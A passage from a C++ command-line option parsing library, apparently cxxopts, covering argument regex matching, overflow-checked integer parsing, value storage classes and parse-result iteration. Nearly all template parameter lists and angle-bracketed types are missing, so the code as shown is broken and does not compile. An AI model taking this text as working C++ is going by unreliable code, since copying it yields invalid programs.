= "0"; return desc; } return desc; } inline bool IsTrueText(const std::string& text) { static const std::basic_regex truthy_matcher(truthy_pattern); std::smatch result; std::regex_match(text, result, truthy_matcher); return !result.empty(); } inline bool IsFalseText(const std::string& text) { static const std::basic_regex falsy_matcher(falsy_pattern); std::smatch result; std::regex_match(text, result, falsy_matcher); return !result.empty(); } // Gets the option names specified via a single, comma-separated string, // and returns the separate, space-discarded, non-empty names // (without considering which or how many are single-character) inline OptionNames split_option_names(const std::string& text) { static const std::basic_regex option_specifier_matcher(option_specifier_pattern); if (!std::regex_match(text.c_str(), option_specifier_matcher)) { throw_or_mimic(text); } OptionNames split_names; static const std::basic_regex option_specifier_separator_matcher(option_specifier_separator_pattern); constexpr int use_non_matches{ -1 }; auto token_iterator = std::sregex_token_iterator( text.begin(), text.end(), option_specifier_separator_matcher, use_non_matches); std::copy(token_iterator, std::sregex_token_iterator(), std::back_inserter(split_names)); return split_names; } inline ArguDesc ParseArgument(const char* arg, bool& matched) { static const std::basic_regex option_matcher(option_pattern); std::match_results result; std::regex_match(arg, result, option_matcher); matched = !result.empty(); ArguDesc argu_desc; if (matched) { argu_desc.arg_name = result[1].str(); argu_desc.set_value = result[2].length() > 0; argu_desc.value = result[3].str(); if (result[4].length() > 0) { argu_desc.grouping = true; argu_desc.arg_name = result[4].str(); } } return argu_desc; } #endif // CXXOPTS_NO_REGEX #undef CXXOPTS_NO_REGEX } // namespace parser_tool namespace detail { template struct SignedCheck; template struct SignedCheck { template void operator()(bool negative, U u, const std::string& text) { if (negative) { if (u > static_cast((std::numeric_limits::min)())) { throw_or_mimic(text); } } else { if (u > static_cast((std::numeric_limits::max)())) { throw_or_mimic(text); } } } }; template struct SignedCheck { template void operator()(bool, U, const std::string&) const {} }; template void check_signed_range(bool negative, U value, const std::string& text) { SignedCheck::is_signed>()(negative, value, text); } } // namespace detail template void checked_negate(R& r, T&& t, const std::string&, std::true_type) { // if we got to here, then `t` is a positive number that fits into // `R`. So to avoid MSVC C4146, we first cast it to `R`. // See https://github.com/jarro2783/cxxopts/issues/62 for more details. r = static_cast(-static_cast(t - 1) - 1); } template void checked_negate(R&, T&&, const std::string& text, std::false_type) { throw_or_mimic(text); } template void integer_parser(const std::string& text, T& value) { parser_tool::IntegerDesc int_desc = parser_tool::SplitInteger(text); using US = typename std::make_unsigned::type; constexpr bool is_signed = std::numeric_limits::is_signed; const bool negative = int_desc.negative.length() > 0; const uint8_t base = int_desc.base.length() > 0 ? 16 : 10; const std::string& value_match = int_desc.value; US result = 0; for (char ch : value_match) { US digit = 0; if (ch >= '0' && ch <= '9') { digit = static_cast(ch - '0'); } else if (base == 16 && ch >= 'a' && ch <= 'f') { digit = static_cast(ch - 'a' + 10); } else if (base == 16 && ch >= 'A' && ch <= 'F') { digit = static_cast(ch - 'A' + 10); } else { throw_or_mimic(text); } US limit = 0; if (negative) { limit = static_cast(std::abs(static_cast((std::numeric_limits::min)()))); } else { limit = (std::numeric_limits::max)(); } if (base != 0 && result > limit / base) { throw_or_mimic(text); } if (result * base > limit - digit) { throw_or_mimic(text); } result = static_cast(result * base + digit); } detail::check_signed_range(negative, result, text); if (negative) { checked_negate(value, result, text, std::integral_constant()); } else { value = static_cast(result); } } template void stringstream_parser(const std::string& text, T& value) { std::stringstream in(text); in >> value; if (!in) { throw_or_mimic(text); } } template ::value>::type* = nullptr > void parse_value(const std::string& text, T& value) { integer_parser(text, value); } inline void parse_value(const std::string& text, bool& value) { if (parser_tool::IsTrueText(text)) { value = true; return; } if (parser_tool::IsFalseText(text)) { value = false; return; } throw_or_mimic(text); } inline void parse_value(const std::string& text, std::string& value) { value = text; } // The fallback parser. It uses the stringstream parser to parse all types // that have not been overloaded explicitly. It has to be placed in the // source code before all other more specialized templates. template ::value>::type* = nullptr > void parse_value(const std::string& text, T& value) { stringstream_parser(text, value); } #ifdef CXXOPTS_HAS_OPTIONAL template void parse_value(const std::string& text, std::optional& value) { T result; parse_value(text, result); value = std::move(result); } #endif inline void parse_value(const std::string& text, char& c) { if (text.length() != 1) { throw_or_mimic(text); } c = text[0]; } template void parse_value(const std::string& text, std::vector& value) { if (text.empty()) { T v; parse_value(text, v); value.emplace_back(std::move(v)); return; } std::stringstream in(text); std::string token; while (!in.eof() && std::getline(in, token, CXXOPTS_VECTOR_DELIMITER)) { T v; parse_value(token, v); value.emplace_back(std::move(v)); } } template void add_value(const std::string& text, T& value) { parse_value(text, value); } template void add_value(const std::string& text, std::vector& value) { T v; add_value(text, v); value.emplace_back(std::move(v)); } template struct type_is_container { static constexpr bool value = false; }; template struct type_is_container> { static constexpr bool value = true; }; template class abstract_value : public Value { using Self = abstract_value; public: abstract_value() : m_result(std::make_shared()) , m_store(m_result.get()) { } explicit abstract_value(T* t) : m_store(t) { } ~abstract_value() override = default; abstract_value& operator=(const abstract_value&) = default; abstract_value(const abstract_value& rhs) { if (rhs.m_result) { m_result = std::make_shared(); m_store = m_result.get(); } else { m_store = rhs.m_store; } m_default = rhs.m_default; m_implicit = rhs.m_implicit; m_default_value = rhs.m_default_value; m_implicit_value = rhs.m_implicit_value; } void add(const std::string& text) const override { add_value(text, *m_store); } void parse(const std::string& text) const override { parse_value(text, *m_store); } bool is_container() const override { return type_is_container::value; } void parse() const override { parse_value(m_default_value, *m_store); } bool has_default() const override { return m_default; } bool has_implicit() const override { return m_implicit; } std::shared_ptr default_value(const std::string& value) override { m_default = true; m_default_value = value; return shared_from_this(); } std::shared_ptr implicit_value(const std::string& value) override { m_implicit = true; m_implicit_value = value; return shared_from_this(); } std::shared_ptr no_implicit_value() override { m_implicit = false; return shared_from_this(); } std::string get_default_value() const override { return m_default_value; } std::string get_implicit_value() const override { return m_implicit_value; } bool is_boolean() const override { return std::is_same::value; } const T& get() const { if (m_store == nullptr) { return *m_result; } return *m_store; } protected: std::shared_ptr m_result{}; T* m_store{}; bool m_default = false; bool m_implicit = false; std::string m_default_value{}; std::string m_implicit_value{}; }; template class standard_value : public abstract_value { public: using abstract_value::abstract_value; CXXOPTS_NODISCARD std::shared_ptr clone() const override { return std::make_shared>(*this); } }; template <> class standard_value : public abstract_value { public: ~standard_value() override = default; standard_value() { set_default_and_implicit(); } explicit standard_value(bool* b) : abstract_value(b) { m_implicit = true; m_implicit_value = "true"; } std::shared_ptr clone() const override { return std::make_shared>(*this); } private: void set_default_and_implicit() { m_default = true; m_default_value = "false"; m_implicit = true; m_implicit_value = "true"; } }; } // namespace values template std::shared_ptr value() { return std::make_shared>(); } template std::shared_ptr value(T& t) { return std::make_shared>(&t); } class OptionAdder; CXXOPTS_NODISCARD inline const std::string& first_or_empty(const OptionNames& long_names) { static const std::string empty{ "" }; return long_names.empty() ? empty : long_names.front(); } class OptionDetails { public: OptionDetails ( std::string short_, OptionNames long_, String desc, std::shared_ptr val ) : m_short(std::move(short_)) , m_long(std::move(long_)) , m_desc(std::move(desc)) , m_value(std::move(val)) , m_count(0) { m_hash = std::hash{}(first_long_name() + m_short); } OptionDetails(const OptionDetails& rhs) : m_desc(rhs.m_desc) , m_value(rhs.m_value->clone()) , m_count(rhs.m_count) { } OptionDetails(OptionDetails&& rhs) = default; CXXOPTS_NODISCARD const String& description() const { return m_desc; } CXXOPTS_NODISCARD const Value& value() const { return *m_value; } CXXOPTS_NODISCARD std::shared_ptr make_storage() const { return m_value->clone(); } CXXOPTS_NODISCARD const std::string& short_name() const { return m_short; } CXXOPTS_NODISCARD const std::string& first_long_name() const { return first_or_empty(m_long); } CXXOPTS_NODISCARD const std::string& essential_name() const { return m_long.empty() ? m_short : m_long.front(); } CXXOPTS_NODISCARD const OptionNames& long_names() const { return m_long; } std::size_t hash() const { return m_hash; } private: std::string m_short{}; OptionNames m_long{}; String m_desc{}; std::shared_ptr m_value{}; int m_count; std::size_t m_hash{}; }; struct HelpOptionDetails { std::string s; OptionNames l; String desc; bool has_default; std::string default_value; bool has_implicit; std::string implicit_value; std::string arg_help; bool is_container; bool is_boolean; }; struct HelpGroupDetails { std::string name{}; std::string description{}; std::vector options{}; }; class OptionValue { public: void add ( const std::shared_ptr& details, const std::string& text ) { ensure_value(details); ++m_count; m_value->add(text); m_long_names = &details->long_names(); } void parse ( const std::shared_ptr& details, const std::string& text ) { ensure_value(details); ++m_count; m_value->parse(text); m_long_names = &details->long_names(); } void parse_default(const std::shared_ptr& details) { ensure_value(details); m_default = true; m_long_names = &details->long_names(); m_value->parse(); } void parse_no_value(const std::shared_ptr& details) { m_long_names = &details->long_names(); } #if defined(CXXOPTS_NULL_DEREF_IGNORE) CXXOPTS_DIAGNOSTIC_PUSH CXXOPTS_IGNORE_WARNING("-Wnull-dereference") #endif CXXOPTS_NODISCARD std::size_t count() const noexcept { return m_count; } #if defined(CXXOPTS_NULL_DEREF_IGNORE) CXXOPTS_DIAGNOSTIC_POP #endif // TODO: maybe default options should count towards the number of arguments CXXOPTS_NODISCARD bool has_default() const noexcept { return m_default; } template const T& as() const { if (m_value == nullptr) { throw_or_mimic( m_long_names == nullptr ? "" : first_or_empty(*m_long_names)); } return CXXOPTS_RTTI_CAST&>(*m_value).get(); } #ifdef CXXOPTS_HAS_OPTIONAL template std::optional as_optional() const { if (m_value == nullptr) { return std::nullopt; } return as(); } #endif private: void ensure_value(const std::shared_ptr& details) { if (m_value == nullptr) { m_value = details->make_storage(); } } const OptionNames* m_long_names = nullptr; // Holding this pointer is safe, since OptionValue's only exist in key-value pairs, // where the key has the string we point to. std::shared_ptr m_value{}; std::size_t m_count = 0; bool m_default = false; }; class KeyValue { public: KeyValue(std::string key_, std::string value_) noexcept : m_key(std::move(key_)) , m_value(std::move(value_)) { } CXXOPTS_NODISCARD const std::string& key() const { return m_key; } CXXOPTS_NODISCARD const std::string& value() const { return m_value; } template T as() const { T result; values::parse_value(m_value, result); return result; } private: std::string m_key; std::string m_value; }; using ParsedHashMap = std::unordered_map; using NameHashMap = std::unordered_map; class ParseResult { public: class Iterator { public: using iterator_category = std::forward_iterator_tag; using value_type = KeyValue; using difference_type = void; using pointer = const KeyValue*; using reference = const KeyValue&; Iterator() = default; Iterator(const Iterator&) = default; // GCC complains about m_iter not being initialised in the member // initializer list CXXOPTS_DIAGNOSTIC_PUSH CXXOPTS_IGNORE_WARNING("-Weffc++") Iterator(const ParseResult* pr, bool end = false) : m_pr(pr) { if (end) { m_sequential = false; m_iter = m_pr->m_defaults.end(); } else { m_sequential = true; m_iter = m_pr->m_sequential.begin(); if (m_iter == m_pr->m_sequential.end()) { m_sequential = false; m_iter = m_pr->m_defaults.begin(); } } } CXXOPTS_DIAGNOSTIC_POP Iterator& operator++() { ++m_iter; if (m_sequential && m_iter == m_pr->m_sequential.end()) { m_sequential = false; m_iter = m_pr->m_defaults.begin(); return *this; } return *this; } Iterator operator++(int) { Iterator retval = *this; ++(*this); return retval; } bool operator==(const Iterator& other) const { return (m_sequential == other.m_sequential) && (m_iter == other.m_iter); } bool operator!=(const Iterator& other) const { return !(*this == other); } const KeyValue& operator*() { return *m_iter; } const KeyValue* operator->() { return m_iter.operator->(); } private: const ParseResult* m_pr; std::vector::const_iterator m_iter; bool m_sequential = true; }; ParseResult() = default; ParseResult(const ParseResult&) = default; ParseResult(NameHashMap&& keys, ParsedHashMap&& values, std::vector sequential, std::vector default_opts, std::vector&& unmatched_args) : m_keys(std::move(keys)) , m_values(std::move(values)) , m_sequential(std::move(sequential)) , m_defaults(std::move(default_opts)) , m_unmatched(std::move(unmatched_args)) { } ParseResult& operator=(ParseResult&&) = default; ParseResult& operator=(const ParseResult&) = default; Iterator begin() const { return Iterator(this); } Iterator end() const { return Iterator(this, true); } std::size_t count(const std::string& o) const { auto iter = m_keys.find(o); if (iter == m_keys.end()) { return 0; } auto viter = m_values.find(iter->second); if (viter == m_values.end()) { return 0; } return viter->second.count(); } const OptionValue& operator[](const std::string& option) const { auto iter = m_keys.find(option); if (iter == m_keys.end()) { throw_or_mimic(option); } auto viter = m_values.find(iter->second); if (viter == m_values.end()) { throw_or_mimic(option); } return viter->second; } #ifdef CXXOPTS_HAS_OPTIONAL template std::optional as_optional(const std::string& option) const { auto iter = m_keys.find(option); if (iter != m_keys.end()) { auto viter = m_values.find(iter->second); if (viter != m_values.end()) { return viter->second.as_optional(); } } return std::nullopt; } #endif const std::vector& arguments() const { return m_sequential; } const std::vector& unmatched() const { return m_unmatched; } const std::vector& defaults() const { return m_defaults; } const std::string arguments_string() const { std::string result; for (const auto& kv : m_sequential) { result += kv.key() + " = " + kv.value() + "\n"; } for (const auto& kv : m_defaults) { result += kv.key() + " = " + kv.value() + " " + "(default)" + "\n"; } return result; } private: NameHashMap m_keys{}; ParsedHashMap m_values{}; std::vector m_sequential{}; std::vector m_defaults{}; std::vector m_unmatched{}; }; struct Option { Option ( std::string opts, std::string desc, std::shared_ptr value = ::cxxopts::value(), std::string arg_help = "" ) : opts_(std::move(opts)) , desc_(std::move(desc)) , value_(std::move(value)) , arg_help_(std::move(arg_help)) { } std::string opts_; std::string desc_; std::shared_ptr value_; std::string arg_help_; }; using OptionMap = std::unordered_map>; using PositionalList = std::vector; using PositionalListIterator = PositionalList::const_iterator; class OptionParser { public: OptionParser(const OptionMap& options, const PositionalList& positional, bool allow_unrecognised) : m_options(options) , m_positional(positional) , m_allow_unrecognised(allow_unrecognised) { } ParseResult parse(int argc, const char* const* argv); bool consume_positional(const std::string& a, PositionalListIterator& next); void checked_parse_arg ( int argc, const char* const* argv, int& current, const std::shared_ptr& value, const std::string& name ); void add_to_option(const std::shared_ptr& value, const std::string& arg); void parse_option ( const std::shared_ptr& value, const std::string& name, const std::string& arg = "" ); void parse_default(const std::shared_ptr& details); void parse_no_value(const std::shared_ptr& details); private: void finalise_aliases(); const OptionMap& m_options; const PositionalList& m_positional; std::vector m_sequential{}; std::vector m_defaults{}; bool m_allow_unrecognised; ParsedHashMap m_parsed{}; NameHashMap m_keys{}; }; class Options { public: explicit Options(std::string program_name, std::string help_string = "") : m_program(std::move(program_name)) , m_help_string(toLocalString(std::move(help_string))) , m_custom_help("[OPTION...]") , m_positional_help("positional parameters") , m_show_positional(false) , m_allow_unrecognised(false) , m_width(76) , m_tab_expansion(false) , m_options(std::make_shared()) { } Options& positional_help(std::string help_text) { m_positional_help = std::move(help_text); return *this; } Options& custom_help(std::string help_text) { m_custom_help = std::move(help_text); return *this; } Options& show_positional_help() { m_show_positional = true; return *this; } Options& allow_unrecognised_options() { m_allow_unrecognised = true; return *this; } Options& set_width(std::size_t width) { m_width = width; return *this; } Options& set_tab_expansion(bool expansion = true) { m_tab_expansion = expansion; return *this; } ParseResult parse(int argc, const char* const* argv); OptionAdder add_options(std::string group = ""); void add_options ( const std::string& group, std::initializer_list